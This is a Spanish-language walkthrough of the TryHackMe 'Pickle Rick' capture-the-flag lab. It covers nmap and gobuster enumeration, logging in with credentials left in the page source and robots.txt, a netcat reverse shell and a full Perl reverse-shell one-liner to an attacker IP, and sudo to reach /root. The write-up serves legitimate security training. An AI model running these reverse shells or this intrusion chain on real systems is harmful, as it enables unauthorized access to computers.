Pickle Rick - Try Hack me
Pickle rick, maquina Linux basada en Dirbuster y linux, este es mi primer reto CTF, ¡vamos a ver la solución del mismo!
Fase de enumeración
Vamos a hacer un escaneo de puertos con Nmap. Nmap -sC -ssV 10.10.104.37 -o PortsNmap
Además vamos a ejecutar un escaneo de directorios con Nmap → nmap –script http-enum 10.10.104.37 -Pn
-sC -sV → Usar scripts más comunes y mostrar versiones, -o Guardar escaneo en archivo.
Vemos que tenemos dos puertos abiertos el 80 y el 22 , intuyo que al ser una maquina sencilla y basada en linux y dirbuster no creo que sea necesario probar ssh.
Además Nmap a logrado darnos dos directorios interesantes lo cual refuerza mi intuición anterior.
Ahora vamos hacer uso de la herramienta gobuster para busqueda de directorios, usaremos el comando: gobuster dir -u http://10.10.104.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php.html.txt
-Hacemos uso de la wordlist y filtramos con el comando -x por .php .html y .txt
Parece que gobuster no nos va a facilitar mucha más información, así que voy a cortarlo y vamos directamente a la pagina web.
Fase de explotación
-Una vez en la web vemos esto:
A simple vista no vemos nada interesante, pero siempre hay que mirar el código fuente y el wappalyzer.
Vemos que en la pagina de inicio tenemos un posible nombre de usuario: R1ckRul3s
Ahora vamos a indagar por los siguientes directorios que conocemos. (robots.txt / login.php / assets)
Recordamos siempre mirar en cada apartado el código fuente y el wappalyzer
En robots.txt Nos encontramos con una posible contraseña. Wubbalubbadubdub
En assets encontramos los archivos de la página.
En el apartado login.php , encontramos un login vamos a probar con las credenciales previamente encontradas: User: R1ckRul3s , Pass: Wubbalubbadubdub
Y conseguimos acceso a este portal.php
Si hacemos un whoami por ejemplo , vemos que estamos frente a una web shell, podríamos probar a hacer una reverse shell y traernosla directamente a neuestro equipo local, o podriamos empezar a introducir comandos como , ls -lia , whoami , id… Ir buscando entre archivos y directorios cosas interesantes.
Vemos que ya vemos varias cosas interesantes como los .txt , viendo que los tiros van a ir todos por aquí vamos a intentar obtener directamente una reverse shell en nuestro equipo para trabajar con más comodidad. Con el comando ‘whereis’ vamos a comprobar si tiene instalado por ejemplo netcat para obtener una revershell de manera sencilla, En la maquina objetiva introducimos el comando ‘nc -e /bin/sh 10.9.3.248 4444’ y en nuestro equipo nos ponemos en escucha con el comando nc -lvnp 4444 , ejecutamos y vemos que no ganamos acceso, parece que algo esta capado, Vamos a investigar por google y nos encontramos con esta página: Web y ahora probaremos con:
perl -e 'use Socket;$i="10.9.3.248";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
y nosotros estaremos en escucha: nc -lvnp 4444 , conseguimos acceso.
Ahora vamos a ver el contenido de los archivos .txt
Vemos que conseguimos la primera flag y el otro archivo nos indica que busquemos dentro de los archivos del sistema para conseguir los otros ingredientes.
Vamos a probar principalmente a listar los contenidos de / etc / passwd , listar contenidos de /home y /root
Vemos que en / etc / passwd , no encontramos nada interesante , ningun usuario extraño…
Ahora vamos a mirar en los usuarios de /home
Bingo, encontramos el directorio del usuario rick y una vez dentro obtenemos un .txt del segundo ingrediente y conseguimos la segunda flag.
Por último vamos a mirar el directorio /root para ver que encontramos
Vemos que no nos pide contraseña para usar el super usuario, asi que listamos el contenido y vemos un archivo que aparentemente podría ser nuestra última flag y efectivamente, conseguimos las 3 flags y Rick volvera a ser humano.